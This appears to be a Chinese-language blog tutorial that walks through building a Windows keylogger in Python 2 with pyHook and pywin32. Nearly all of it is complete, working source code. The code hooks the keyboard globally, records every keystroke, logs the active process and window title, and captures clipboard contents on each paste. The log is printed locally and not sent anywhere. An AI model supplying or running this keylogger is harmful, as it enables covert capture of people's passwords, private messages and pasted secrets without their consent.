python键盘记录_使用python实现简易键盘记录功能

使用python实现简易键盘记录功能

环境准备

Anaconda2(python2.7 64bit) Anaconda官网 蟒蛇：一个包丰富的python科学计算发行版

pyHook

pywin32 Anoncoda自带

流程图

图片转载自

代码实现

from ctypes import *

import pyHook

import pythoncom

import win32clipboard

user32 = windll.user32

kernel32 = windll.kernel32

psapi = windll.psapi

current_window = None

def get_current_process():

# 获取最上层的窗口句柄

hwnd = user32.GetForegroundWindow()

# 获取进程ID

pid = c_ulong(0)

user32.GetWindowThreadProcessId(hwnd, byref(pid))

# 将进程ID存入变量中

process_id = "%d" % pid.value

# 申请内存

executable = create_string_buffer("\x00" * 512)

h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)

psapi.GetModuleBaseNameA(h_process, None, byref(executable), 512)

# 读取窗口标题

windows_title = create_string_buffer("\x00" * 512)

length = user32.GetWindowTextA(hwnd, byref(windows_title), 512)

# 打印

print

print "[ PID:%s-%s-%s]" % (process_id, executable.value, windows_title.value)

print

# 关闭handles

kernel32.CloseHandle(hwnd)

kernel32.CloseHandle(h_process)

# 定义击键监听事件函数

def KeyStroke(event):

global current_window

# 检测目标窗口是否转移(换了其他窗口就监听新的窗口)

if event.WindowName != current_window:

current_window = event.WindowName

# 函数调用

get_current_process()

# 检测击键是否常规按键(非组合键等)

if event.Ascii > 32 and event.Ascii < 127:

print chr(event.Ascii),

else:

# 如果发现Ctrl+v(粘贴)事件，就把粘贴板内容记录下来

if event.Key == "V":

win32clipboard.OpenClipboard()

pasted_value = win32clipboard.GetClipboardData()

win32clipboard.CloseClipboard()

print "[PASTE]-%s" % (pasted_value),

else:

print "[%s]" % event.Key,

# 循环监听下一个击键事件

return True

# 创建并注册hook管理器

kl = pyHook.HookManager()

kl.KeyDown = KeyStroke

# 注册hook并执行

kl.HookKeyboard()

pythoncom.PumpMessages()